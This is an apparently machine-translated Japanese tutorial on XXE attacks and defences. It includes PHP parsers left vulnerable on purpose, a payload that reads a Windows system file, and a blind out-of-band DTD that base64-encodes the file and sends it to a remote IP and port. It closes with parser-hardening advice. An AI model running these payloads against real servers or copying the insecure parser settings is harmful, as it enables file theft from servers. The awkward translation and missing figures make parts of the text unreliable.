XXE脆弱性攻撃および防御原則
利便性は常にセキュリティの敵です。
知識レベルによって攻撃面が決まります。
0x01ブリーフ
XXE(XML外部エンティティ)は、XML外部エンティティ攻撃の脆弱性を指します。XML外部エンティティ攻撃は、XML入力を解析するアプリケーションに対する攻撃です。この攻撃は、外部エンティティへの参照を含むXML入力が、弱く構成されたXMLパーサーによって処理されるときに発生します。悪意のあるコンテンツを構築することにより、この種の攻撃は、任意のファイルの読み取り、システムコマンドの実行、イントラネットポートの検出、イントラネットWebサイトの攻撃などの損害を引き起こす可能性があります。
今日、ますます多くのWEBプログラムが見つかり、facebook、paypalなどのXXEの脆弱性が報告されています。多くのXMLパーサーにはデフォルトでXXEの脆弱性が含まれています。つまり、開発者はこれらのプログラムがこの脆弱性の影響を受けないようにする責任があります。XXEの脆弱性は何年も前から存在していますが、彼が受けるに値する注意を受けたことは一度もありません。その理由は、一方ではXXEなどの使いにくい脆弱性に注意を払うだけでは不十分です。一方で、XMLの存在はインターネットに大きな影響を与えるため、問題が発生すると、アプリケーション、ドキュメント、プロトコル、および画像が関与します。対応する変更を待ちます。
0x02 XML構造の紹介
XXEの脆弱性を理解するには、まずXMLの基本を学ぶ必要があります。
XMLは非常に人気のあるマークアップ言語で、1990年代後半に最初に標準化され、無数のソフトウェアプロジェクトで採用されています。構成ファイル、ドキュメント形式(OOXML、ODF、PDF、RSSなど)、画像形式(SVG、EXIFヘッダー)、およびネットワークプロトコル(WebDAV、CalDAV、XMLRPC、SOAP、XMPP、SAML、XACMLなど)に使用されます。彼のアプリケーションは非常に広範で、彼が遭遇した問題は悲惨な結果をもたらすでしょう。
XMLは、データを送信および保存するように設計されています。データのコンテンツに重点が置かれています。目的は、データをHTMLから分離することです。これは、ソフトウェアとハードウェアに依存しない情報送信ツールです。XMLドキュメントには独自のフォーマット仕様があり、これは次のようにDTD(ドキュメントタイプ定義)と呼ばれるものによって制御されます。
上記のDTDはXMLのルート要素をメッセージとして定義し、要素の下にいくつかのサブ要素があります。このうち、DOCTYPEはDTDの宣言、ENTITYはエンティティの宣言、いわゆるエンティティは変数として理解でき、SYSTEM、PUBLICは外部リソースのアプリケーションです。次に、XMLを次のように記述する必要が
あります。XMLエンティティの定義を理解しましたが、まだエンティティを分類していません。2つの観点から、XMLは2つのタイプ、合計4つのタイプ(内部エンティティ、外部エンティティ)に分類できます。 )、(一般エンティティ、パラメータエンティティ)。これらのカテゴリのうち2つに重複が含まれています。
内部エンティティ:
(DTD定義コード)
(参照コード)
&xxeを使用して、上記で定義されたxxeエンティティを参照します。&Xxeは、出力時に「test」に置き換えられます。内部エンティティーとは、1つのエンティティーで定義された別のエンティティー、つまりネストされた定義を指します。
外部エンティティ:
外部エンティティはSYSTEMキーワードで表される外部ファイルのコンテンツを表し、通常、<!DOCTYPEルート要素SYSTEM "file name">または<!DOCTYPEルート要素PUBLIC "public_ID" "file name">を使用して外部エンティティを参照します。
一部のXMLドキュメントには、システム識別子によって定義された「エンティティ」が含まれており、これらのドキュメントはDOCTYPEヘッダータグに含まれています。これらの定義された「エンティティ」は、ローカルまたはリモートのコンテンツにアクセスできます。SYSTEMの背後にあるコンテンツをユーザーが制御できる場合、ユーザーはサーバーのローカルファイル(ファイル:/// etc / passwd)またはリモートファイル(http://www.baidu.com/)を読み取るために、自由に他のコンテンツに置き換えることができます。 abc.txt)。
一般エンティティ:
&エンティティ名を使用; DTDで定義され、XMLドキュメントで参照される参照エンティティ
パラメータエンティティ:
a。DTDで定義されたUse%エンティティ名(ここではスペースなし)、DTDでは%%エンティティ名のみを使用;参照
b。DTDファイルでのみ、パラメータエンティティの宣言は他のエンティティを参照できます
c。一般エンティティと同様に、パラメータエンティティも外部から参照できます
0x03通常のXMLインジェクション
XXEを紹介する前に、通常のXMLインジェクションについて簡単に説明します。なぜXMLインジェクションに言及すべきなのでしょうか?XXE(XML外部エンティティインジェクション)の正式名称から、XXEもXMLインジェクションであることがわかります。エンティティのみ。
上の図からわかるように、いわゆるXMLインジェクションでは、ユーザーがXMLに入力し、入力場所のコンテキストのラベルに従って自分のXMLコードを挿入します。通常のXMLインジェクションは利用面が狭く、実際には実際には使用されていませんが、XMLコードを挿入できるため、XML外部エンティティを挿入できない理由を考えることができます。それが正常に注入され、正常に解析できれば、大幅に拡張されます。 XMLインジェクションの攻撃面がなくなりました。XXEが登場
0x04エコーからローカルの機密ファイルを読み取る(通常のXXE)
この攻撃シナリオは、サーバーがXML形式で入力を受信して解析でき、エコーがある場合にカスタムXMLコードを入力し、エンティティを外部参照することによりサーバー上のファイルを参照できることをシミュレートします。
まず、サーバー側でXML を解析するためのPHPコードxxe.phpを指定します
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
その中で、libxml_disable_entity_loader(BOOL)関数は、エンティティの外部読み込みを許可するかどうかを示すために、trueまたはfalseの2つのブールパラメーターを受け取ります。値がfalseの場合、外部エンティティの読み込みが許可され、
受信パラメーターはfile_get_contents()を介して、次にDOMDocumentクラスを介して読み込まれます。のloadXML関数は、外部からインポートされたエンティティ(XML)をロードし、最後に表示する結果を返します
したがって、サーバー上の機密ファイルにアクセスするためのXML外部エンティティを作成し、データ送信中に独自のエンティティを挿入します。
ペイロード:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/windows/system.ini">
]>
<x>&xxe;</x>
結果は次のとおりです
。もちろん、エコーインジェクションは例外の例外です。結局のところ、XML自体は出力に使用されません。これは通常、構成または極端な場合に使用されます。XMLクラスのインスタンス化と解析に他の脆弱性が使用される可能性があるため、より現実的なXXEの脆弱性を実際に使用するには、エコーに依存しないメソッドを見つける必要があります
0x05エコーなしでローカルの機密ファイルを読み取る(Blind OOB XXE)
持ち出したい場合は、依頼できるようになっているので、どこで依頼できますか?明らかに、外部エンティティが定義されている場合、実際には、要求を開始するだけでは不十分です。データを転送できなければならず、データ自体も外部要求です。つまり、参照する必要があります。別のリクエストの結果が分析されます。パラメーターエンティティのみが実行できます(仕様に従って、DTDファイルで「リクエスト内の別のリクエストの結果を参照する」という要件を完了する必要があります)。問題のあるサーバーコードは通常通りに与えられます。
xxe.php:
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
このサーバー構成は、前のものと比較してエコーをキャンセルしますが、それでも安全ではありません。
ペイロード:
<?xml version="1.0"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://my.local.cn/test.dtd">
%remote;%int;%send;
]>
データを再送信するときに、別のDTDファイルを参照します。test.dtdbase64はサーバー上の機密ファイルをエンコードし、攻撃者のIPに転送します。ポート9999
test.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/windows/system.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.210.37:9999?p=%file;'>">
結果は次のとおりです。
ペイロードから、3つのパラメーターエンティティ%remote;%int;%send;が連続して呼び出されていることがわかります。これが使用順序です。%Remoteが最初に呼び出され、テスト後にリモートサーバーでtest.dtdを要求します。 test.dtdを含めるのと多少似ていますが、%intはtest.dtd内の%ファイルを呼び出し、%ファイルはサーバー上で機密ファイルを取得し、%ファイルの結果を%送信に埋め込みます(エンティティのため)値に%を含めることはできないため、HTMLエンティティエンコーディングに変換されます%)。次に、%sendを呼び出し、読み取りデータをリモートホストに送信します。これにより、テイクアウトデータの効果が完璧になります。 XXEにエコーがない問題を解決しました。
XXEの脆弱性をさらに分析すると、ファイルプロトコルを介してローカルファイルを実際に読み取っているか、httpプロトコルを介してリクエストを送信していることが明確にわかります。SSRFなどの他の脆弱性と同様に、これら2つの脆弱性の使用が非常に多いことがわかります同様に、これらはすべてサーバーから別のサーバーへの要求を開始するため、XXEの脆弱性をさらに悪用する場合は、どのプラットフォームでどのプロトコルを使用できるかを知る必要があります
0x06 XXE(WeChat Pay XXE)の実際のケース
2018年7月4日、WeChat SDKがXXEの脆弱性を突破しました。この脆弱性を利用して、攻撃者はサーバーのディレクトリ構造とファイルコンテンツ(コードやさまざまな秘密キーなど)を入手できます。この情報を取得した後、攻撃者は何でもできるようになります。
脆弱性の説明:
WeChat Payは、販売者が非同期の支払い結果を受け取るためのインターフェースを提供します。WeChatPayが使用するjava SDKは、結果を処理するときにXXEの脆弱性を引き起こす可能性があります。攻撃者は悪意のあるペイロードをこのインターフェースに送信して、販売者のサーバーを取得できます。情報。攻撃者が機密データ(md5-keyやmerchant-Idなど)を取得すると、偽造された情報を送信することにより、お金を費やすことなく商人のアイテムを購入できます。
脆弱性
の原因: WeChat Pay SDKのXXEの脆弱性の原因は、DocumentBuilderFactoryの使用が外部クエリを制限せず、結果としてXXEになるためです。
脆弱性のサンプルコード:
単純なコード監査により、documentBuilderが作成された後、着信strXMLが直接解析され、フィルタリングと検査のステップがなく、ここで渡されたパラメーターが攻撃者によって制御可能であることが悲劇ですインジェクションの時点で、XXEの脆弱性が現れました。
簡略化されたバージョン:
完全なコード:
攻撃コード:
XML外部エンティティを直接挿入し、Cドライブのシステム構成ファイルのコンテンツを返します。直接エコーできるため、テイクアウトインジェクションの代わりに最も単純なエコーインジェクションが使用されます。
0x07 XXE脆弱性防御
- 開発言語が提供するメソッドを使用して、外部エンティティを無効にします
PHP: libxml_disable_entity_loader(true);
JAVA: DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python: from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
-
ユーザーが送信したXMLデータをフィルターします。
フィルターキーワード:<!DOCTYPEおよび<!ENTITY、またはSYSTEMおよびPUBLIC -
サードパーティのアプリケーションコードを使用して、適時にパッチを更新する